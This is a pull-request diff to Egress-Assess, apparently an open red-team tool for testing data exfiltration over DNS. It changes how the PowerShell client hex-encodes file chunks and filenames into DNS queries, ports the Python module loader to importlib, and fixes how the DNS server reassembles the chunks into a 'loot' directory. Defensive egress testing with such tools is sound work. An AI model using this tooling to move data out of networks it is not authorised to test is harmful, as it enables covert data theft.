Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
34 changes: 26 additions & 8 deletions EgressAssess.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -2055,7 +2055,14 @@ function Invoke-EgressAssess

if (!$DefaultLength)
{
$DefaultLength = 35
if ($txtmode)
{
$DefaultLength = 35
}
else
{
$DefaultLength = 22
}
}
if ($DefaultLength -gt 36)
{
Expand Down Expand Up @@ -2131,14 +2138,26 @@ function Invoke-EgressAssess
$PacketsToSend = 7
}
}
$EncodedData += [System.Convert]::ToBase64String( $DataBytes)
if ($txtmode)
{
$EncodedData += [System.Convert]::ToBase64String( $DataBytes)
}
else
{
$EncodedData += [System.BitConverter]::ToString($DataBytes) -replace "-"
}
if (!$txtmode)
{
if ($filetransfer)
{
$EncodedData += "." + [System.Convert]::ToBase64String( [System.Text.encoding]::ASCII.GetBytes($filename) )
# Convert the filename into ASCII bytes, then convert to hexadecimal
$hexString = [BitConverter]::ToString([System.Text.Encoding]::ASCII.GetBytes($filename)) -replace "-"

# Add a dot before the hex string and append it to the encoded data
$EncodedData += "." + $hexString
}
$EncodedData = $EncodedData -replace "=", ".---"

# Append the IP address
$EncodedData += ".$IP"
}
$EncodedData += "`n"
Expand Down Expand Up @@ -2180,8 +2199,7 @@ function Invoke-EgressAssess
}
else
{
$EncodedData += "." + [System.Convert]::ToBase64String( [System.Text.encoding]::ASCII.GetBytes($filename) )
$EncodedData = $EncodedData -replace "=", ".---"
$EncodedData += "." + [BitConverter]::ToString([System.Text.Encoding]::ASCII.GetBytes($filename)) -replace "-"
$EncodedData += ".$IP"
}
$response = Send-DNSPacket $EncodedData $txtmode
Expand Down Expand Up @@ -2390,8 +2408,8 @@ function Invoke-EgressAssess
#Ans Auth Add RR
[Byte[]]$Mess2= 0x00,0x00,0x00

$dns_Servers = ipconfig /all | where-object {$_ -match "DNS Servers"} | foreach-object{$_.Split(":")[1]}
$dns_Servers = (Get-DnsClientServerAddress -AddressFamily IPv4).ServerAddresses

$postS = 0x00,0x00,0x01,0x00,0x01
}

Expand Down
21 changes: 13 additions & 8 deletions common/orchestra.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,9 @@
"""

This is the conductor which controls everything

"""

import glob
import imp
import importlib.util
from commandcontrol.malware import *
from commandcontrol.apt import *
from protocols.servers import *
Expand All @@ -23,31 +21,38 @@ def __init__(self):
self.datatypes = {}
self.actor_modules = {}

def load_module(self, name):
# Load the module using importlib
spec = importlib.util.spec_from_file_location(name.replace("/", ".").rstrip('.py'), name)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return module

def load_client_protocols(self, command_line_object):
for name in glob.glob('protocols/clients/*.py'):
if name.endswith(".py") and ("__init__" not in name):
loaded_client_proto = imp.load_source(name.replace("/", ".").rstrip('.py'), name)
loaded_client_proto = self.load_module(name)
self.client_protocols[name] = loaded_client_proto.Client(command_line_object)
return

def load_server_protocols(self, command_line_object):
for name in glob.glob('protocols/servers/*.py'):
if name.endswith(".py") and ("__init__" not in name):
loaded_server_proto = imp.load_source(name.replace("/", ".").rstrip('.py'), name)
loaded_server_proto = self.load_module(name)
self.server_protocols[name] = loaded_server_proto.Server(command_line_object)

def load_datatypes(self, command_line_object):
for name in glob.glob('datatypes/*.py'):
if name.endswith(".py") and ("__init__" not in name):
loaded_datatypes = imp.load_source(name.replace("/", ".").rstrip('.py'), name)
loaded_datatypes = self.load_module(name)
self.datatypes[name] = loaded_datatypes.Datatype(command_line_object)

def load_actors(self, command_line_object):
for name in glob.glob('commandcontrol/malware/*.py'):
if name.endswith(".py") and ("__init__" not in name):
loaded_actors = imp.load_source(name.replace("/", ".").rstrip('.py'), name)
loaded_actors = self.load_module(name)
self.actor_modules[name] = loaded_actors.Actor(command_line_object)
for name in glob.glob('commandcontrol/apt/*.py'):
if name.endswith(".py") and ("__init__" not in name):
loaded_actors = imp.load_source(name.replace("/", ".").rstrip('.py'), name)
loaded_actors = self.load_module(name)
self.actor_modules[name] = loaded_actors.Actor(command_line_object)
4 changes: 3 additions & 1 deletion protocols/clients/dns_client.py
Original file line number Diff line number Diff line change
Expand Up @@ -74,7 +74,9 @@ def transmit(self, data_to_transmit):
print('[*] Shutting down...')
sys.exit()
else:
encoded_data = base64.b64encode(str(struct.pack('>I', packet_number)) + ".:|:." + data_to_transmit[byte_reader:byte_reader + self.length])
encoded_data = base64.b64encode(
struct.pack('>I', packet_number) + b".:|:." + data_to_transmit[byte_reader:byte_reader + self.length]
)

while len(encoded_data) > self.max_length:

Expand Down
85 changes: 48 additions & 37 deletions protocols/servers/dns_server.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
"""
Author: @butlerallenj
Contributors: @khr0x40sh, @ruddawg26
Contributors: @khr0x40sh, @ruddawg26, @fin3ss3g0d

This is an improved version of the DNS Server module. Using DNSLib, this module can listen and
respond to requests from both TXT and A records, decode the requests utilizing the correct format,
Expand All @@ -23,6 +23,7 @@
import threading
import sys
import datetime
import binascii
from dnslib import *
from common import helpers

Expand Down Expand Up @@ -143,26 +144,30 @@ def write_file(self, file_name, write_mode='w', data=None):
global LOOT_PATH, FILE_DICT, FILE_STATUS

if data:
with open(LOOT_PATH + file_name, write_mode) as f:
# Write a single chunk of data in binary mode
with open(LOOT_PATH + file_name, write_mode + 'b') as f:
f.write(data)
else:
helpers.received_file(file_name)
missing_keys = []
write_dict = FILE_DICT
if len(list(write_dict.keys())) < 2:

# Ensure we have received all expected file chunks
expected_keys = {str(i) for i in range(1, int(FILE_STATUS) + 1)}
received_keys = set(write_dict.keys())

missing_keys = expected_keys - received_keys
if missing_keys:
print(f"[-] ERROR: The following keys were missing from FILE_DICT!\n{', '.join(missing_keys)}")
return

with open(LOOT_PATH + file_name, write_mode) as f:

# Write the complete file from the stored chunks in binary mode
with open(LOOT_PATH + file_name, write_mode + 'b') as f:
for dict_key in range(1, int(FILE_STATUS) + 1):
try:
content = write_dict[str(dict_key)]
f.write(content)
except Exception:
missing_keys.append(dict_key)

if len(missing_keys):
print('[-] ERROR: The following keys were missing from FILE_DICT!\n{}'.format(', '.join(missing_keys)))

content = write_dict[str(dict_key)]
f.write(content)

# Clear the globals after writing the file
self.clear_globals()

return
Expand All @@ -179,24 +184,32 @@ def handle_dns_txt(self, encoded_qname):

try:
if self.ENDFILESTRING in encoded_qname:
file_name = encoded_qname.split(self.ENDFILESTRING)[1].rstrip('.')
file_name = str(encoded_qname.split(self.ENDFILESTRING)[1]).rstrip('.')
self.write_file(file_name)
return

decoded = base64.b64decode(encoded_qname)

if self.preamble not in decoded:

# Ensure encoded_qname is bytes before decoding
decoded = base64.b64decode(encoded_qname.encode('utf-8'))

# Ensure preamble is also bytes for comparison
preamble_bytes = self.preamble.encode('utf-8')

if preamble_bytes not in decoded:
# Write the data chunk to file
self.write_file(FILE_NAME, 'a', data=decoded)
return

parts = decoded.split(self.preamble)
FILE_STATUS = self.decode_file_status(parts[0])

# Split the data by preamble to extract the status and file data
parts = decoded.split(preamble_bytes)
FILE_STATUS = self.decode_file_status(parts[0]) # Decode file status
file_data = parts[1]

if FILE_STATUS not in FILE_DICT:
FILE_DICT[FILE_STATUS] = file_data
self.upload_feedback()


# Store the received data chunk in FILE_DICT
# Ensures FILE_STATUS is stored as a string to match write_file logic
FILE_DICT[str(FILE_STATUS)] = file_data

self.upload_feedback()

except Exception as e:
print(f'[-] handle_dns_txt Error: {e} {encoded_qname}')

Expand All @@ -206,27 +219,25 @@ def handle_dns_resolved(self, encoded_qname):
global FILE_DICT, FILE_NAME, LAST_PACKET, FILE_STATUS

try:
seperator = '.---'
if seperator in encoded_qname:
encoded_qname = encoded_qname.replace(seperator, '=')

parts = encoded_qname.split('.')

if self.ENDFILESTRING == parts[0]:
file_name = base64.b64decode(parts[1])
if self.ENDFILESTRING.lower() in parts[0].lower():
file_name = binascii.unhexlify(parts[1]).decode('utf-8')
self.write_file(file_name)
return

data = base64.b64decode(parts[0])
data = binascii.unhexlify(parts[0].encode('utf-8'))

if self.preamble in data:
# Ensure preamble is also bytes for comparison
preamble_bytes = self.preamble.encode('utf-8')
if preamble_bytes in data:
try:
data_parts = data.split(self.preamble)
data_parts = data.split(preamble_bytes)

FILE_STATUS = self.decode_file_status(data_parts[0])
file_data = data_parts[1]

FILE_DICT[FILE_STATUS] = file_data
FILE_DICT[str(FILE_STATUS)] = file_data
self.upload_feedback()
except Exception as e:
print(f'[-] Error handle_dns_resolved: {e} {data}')
Expand Down
2 changes: 1 addition & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
scapy==2.4.5
scapy==2.6.0
paramiko==2.10.3
dnspython==2.2.1
dnslib==0.9.19
Expand Down